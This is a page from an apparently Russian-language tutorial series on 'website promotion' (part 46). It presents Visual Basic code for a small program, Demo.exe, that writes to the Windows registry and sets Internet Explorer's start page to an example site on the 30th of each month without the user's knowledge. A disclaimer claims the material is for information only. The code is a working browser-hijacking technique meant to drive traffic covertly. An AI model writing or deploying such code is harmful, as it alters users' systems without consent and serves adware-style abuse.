Приемы раскрутки WEB-сайтов



           

Приемы "раскрутки" WEB-сайтов - часть 46


retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))  ' write the string

' Close the registry key

retval = RegCloseKey(hregkey)

'-----------------------------

End Sub

** Программа может правильно работать только в откомпилированном варианте.

                Полный листинг программы прилагается к руководству – файл IE-Start-Page.zip

Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!

Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного – просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.

Private Sub Form_Load()

rundate = Date                                 'Получить ДАТУ на компьютере

Form1.Caption = Mid(rundate, 1, 2)    'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки

ls = "Software\Microsoft\Internet Explorer\Main"

adress = "http://www.privet.com"     'Адрес стартовой страницы, к примеру

''

''

If Mid(rundate, 1, 2) = "30" Then   'Т.е. записывать стартовую страницу IE каждое 30-е число каждого месяца

'  Записать в реестрWindows XP

LSkey = "Software\Microsoft\Internet Explorer\Main"

'Стартовая страница для IE

retval = RegCreateKeyEx(HKEY_CURRENT_USER, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)

If retval <> 0 Then  ' error during open

  Debug.Print "Error opening or creating registry key -- aborting."

  End  ' terminate the program

End If

stringbuffer = adress

& vbNullChar  ' note how a null character must be appended to the string

retval = RegSetValueEx(hregkey, "Start Page", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))  ' write the string




Содержание  Назад  Вперед